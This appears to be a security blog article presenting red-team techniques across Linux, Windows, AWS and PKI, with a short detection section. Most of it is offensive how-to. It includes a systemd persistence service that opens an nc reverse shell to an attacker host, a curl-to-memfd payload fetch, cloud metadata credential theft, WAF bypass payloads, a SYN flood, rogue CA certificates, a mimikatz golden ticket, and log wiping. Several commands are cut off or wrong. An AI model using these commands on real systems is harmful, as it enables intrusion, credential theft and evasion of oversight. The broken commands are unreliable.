Listen to this Post
Introduction:
Red team operations demand a deep understanding of Linux internals, cloud security boundaries, and defensive tooling like SIEM, XDR, and WAFs. This article bridges offensive security tactics with defensive countermeasures, focusing on multi‑OS infrastructure (Linux/Windows), PKI abuse, and log forgery. You’ll learn how red teams simulate real attacks across AWS, OCI, and on‑prem data centers while evading detection—and how blue teams can hunt these techniques.
Learning Objectives:
- Exploit misconfigured cloud IAM roles and F5 WAF/DDoS bypasses to gain initial access.
- Execute Linux post‑exploitation commands to disable logging, pivot via SSH tunneling, and tamper with PKI certificates.
- Simulate SIEM evasion using process injection, log manipulation, and XDR bypass techniques on both Linux and Windows.
You Should Know:
- Linux Reconnaissance & Persistence – Commands That Red Teams Actually Use
Extended version: The post emphasizes “Red Team | Cyber Security | Linux”. Real red teamers start with silent enumeration. Below are verified commands to discover network configurations, running services, and hidden cron jobs—then establish persistence without triggering common EDR alerts.
Step‑by‑step guide:
1. Enumerate system & users
`whoami && id` → check privilege level.
`cat /etc/passwd | grep -E “bash|sh$”` → find interactive shells.
`sudo -l` → list sudo permissions (if password cached).
2. Network recon & lateral movement prep
`ss -tulpn` (replaces netstat) → list listening ports.
`arp -a` → discover local network hosts.
`ssh -i stolen_key user@target -D 1080` → dynamic SOCKS tunnel for pivoting.
3. Persistence via systemd service
Create `/etc/systemd/system/redteam.service`:
[bash] Description=RedTeam persistence [bash] ExecStart=/usr/bin/nc -e /bin/sh attacker_ip 4444 [bash] WantedBy=multi-user.target
Then `systemctl enable redteam.service && systemctl start redteam.service`.
4. Windows equivalent (for multi‑OS ops)
`schtasks /create /tn “UpdateTask” /tr “C:\Windows\System32\cmd.exe /c powershell -enc base64… ” /sc daily /ru SYSTEM`
2. Cloud & WAF Bypass – Exploiting F5 and AWS Misconfigurations
The post lists “AWS | OCI | F5(WAF/DDoS)”. Red teams often bypass WAFs by abusing protocol anomalies or cloud metadata endpoints.
Step‑by‑step guide:
1. Bypass F5 WAF regex filters
Use HTTP parameter pollution: `?id=1&id=SELECT//password//FROM//users`.
Or encode payloads with Unicode normalization (%u0065 for ‘e’).
2. Cloud metadata API abuse (AWS)
From a compromised EC2 instance:
`curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` → retrieve role credentials.
Then export them to aws cli:
`export AWS_ACCESS_KEY_ID=…andaws s3 ls –region us-east-1`.
3. DDoS simulation for validation
`hping3 -S –flood –rand-source target_IP -p 80` → test if F5 DDoS profile triggers.
For legitimate load testing, use `ab -n 10000 -c 100 https://target/`.
4. Oracle Cloud (OCI) object storage exfiltration
`oci os bucket list –namespace
- PKI & Digital Certificate Abuse – From Dohatec‑CA to Fake Golden Tickets
“Dohatec-CA(Digital Certificates)” suggests certificate authority compromise. Red teams can issue rogue certificates for man‑in‑the‑middle attacks.
Step‑by‑step guide:
1. Generate a rogue CA certificate
`openssl req -new -x509 -keyout rogueCA.key -out rogueCA.crt -days 365 -subj “/CN=Rogue CA”`
2. Sign a malicious TLS certificate
`openssl genrsa -out server.key 2048`
`openssl req -new -key server.key -out server.csr -subj “/CN=.target.com”`
`openssl x509 -req -in server.csr -CA rogueCA.crt -CAkey rogueCA.key -CAcreateserial -out server.crt`
3. Deploy for SSL inspection
Use `mitmproxy` or `bettercap` with the rogue cert to decrypt HTTPS traffic.
On Windows: `certutil -addstore Root rogueCA.crt` (if admin rights).
4. Kerberos golden ticket with PKI
Using `mimikatz` on Windows DC: `kerberos::golden /user:Administrator /domain:target.local /sid:S-1-5-21-… /kdc:dc.target.local /cert:rogue.pfx /ticket:ticket.kirbi`
Then `mimikatz::ask /ticket:ticket.kirbi` → forge TGT with PKI authentication.
- SIEM & XDR Evasion – Log Manipulation on Linux/Windows
The role includes “SIEM | XDR | DFIR”. Red teams must avoid triggering alerts. This section covers removing footprints and deceiving detection.
Step‑by‑step guide:
1. Clear Linux bash history without logging
`unset HISTFILE` before executing commands.
Or `ln /dev/null ~/.bash_history -sf` → redirect history to void.
2. Delete specific syslog entries
`sed -i ‘/malicious_activity/d’ /var/log/syslog` (requires root).
Better: stop rsyslog, clean, restart: systemctl stop rsyslog && echo > /var/log/auth.log && systemctl start rsyslog.
3. Windows event log tampering
`wevtutil cl Security` → clear Security log (too obvious).
Use PowerShell to remove single event IDs:
`Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4624 } | ForEach-Object { $_.Delete() }` → needs System.Diagnostics.Eventing.Reader.EventLogSession.
4. XDR hook unhooking (Linux)
Use `memfd_create` to run a payload from memory:
`curl -s http://attacker/shellcode.bin | memfd_exec` (custom tool).
Or `gdb -p
5. DFIR – How Defenders Hunt These Techniques
“DFIR” stands for Digital Forensics & Incident Response. Knowing red team tricks means building better detections.
Step‑by‑step guide:
1. Detect systemd service persistence
`systemctl list-unit-files –type=service –state=enabled` → look for unknown services.
`grep -r “ExecStart.nc\|bash -i” /etc/systemd/system/`
2. Find SSH tunneling activity
`ss -tnp | grep :1080` → SOCKS proxy listener.
`lsof -i -n -P | grep ssh` → check for `-D` or `-L` options.
3. Certificate store anomalies (Windows)
`certlm.msc` → review untrusted or rogue CAs.
PowerShell: `Get-ChildItem -Path Cert:\LocalMachine\Root | Where-Object {$_.Issuer -ne $_.Subject}` → identify self‑signed CAs.
4. Linux memory forensics
`volatility -f mem.dump linux_bash` → recover deleted bash commands.
`ausearch -i -ts today` → auditd logs cannot be easily tampered if remote logging is enabled.
What Undercode Say:
- Key Takeaway 1: Red teams must master both Linux and Windows command‑line artifacts—evasion is not tool‑driven but technique‑driven. Knowing how `ss` replaces `netstat` on modern distros prevents detection failures.
- Key Takeaway 2: Cloud metadata endpoints and WAF regex bypasses remain widely exploitable due to misconfigured IAM roles and signature‑based rules. Always test with `curl` from compromised instances.
- Analysis (10 lines): The original post highlights a senior security engineer’s diverse toolkit—from PKI to multi‑cloud. This signals that modern red teaming requires cross‑domain fluency. Traditional perimeter attacks are obsolete; today’s campaigns blend cloud abuse (AWS/OCI), on‑prem certificate spoofing (Dohatec‑CA), and log sanitization. Defenders, conversely, should prioritize auditd on Linux and Windows Event forwarding to a centralized SIEM that immutable logs. The commands shown for `sed` on syslog work only if logging is local—remote syslog or `auditd` with `audisp‑remote` defeats deletion. Red teams can bypass XDR by memory‑only execution, but DFIR analysts with Volatility or Rekall will recover artifacts. The arms race continues: each evasion technique has a corresponding detection, but the average organisation still fails to enable basic audit rules. Proactive purple team exercises—using these exact Linux commands—close the gap.
Expected Output:
Below is a sample SIEM alert that a defender would see when a red team uses the described SSH tunneling technique:
Alert: Suspicious SSH Dynamic Port Forwarding Timestamp: 2025-06-15 14:32:11 UTC Host: web-prod-01 (10.10.0.5) Process: /usr/bin/ssh -D 1080 -N [email protected] Command Line: ssh -D 1080 -N [email protected] Detection Source: osquery process_events + netstat listening ports MITRE Tactic: Command & Control (T1572) Risk Score: 85
Prediction:
Within 12 months, red teams will increasingly target certificate authority APIs and cloud workload identity (OIDC) instead of traditional binaries. AI‑generated polymorphic log entries will challenge SIEM correlation, forcing a shift toward behavior‑based detection on Linux eBPF hooks and Windows ETW. Organisations relying solely on signature‑based F5 WAFs or legacy PKI will face breaches indistinguishable from legitimate traffic. The solution: adopt ephemeral certificates, enforce metadata endpoint blocking in AWS/OCI, and deploy mandatory `auditd` rules for all `sshd` and `systemd` spawns.
▶️ Related Video (80% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Priombiswas Infosec – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
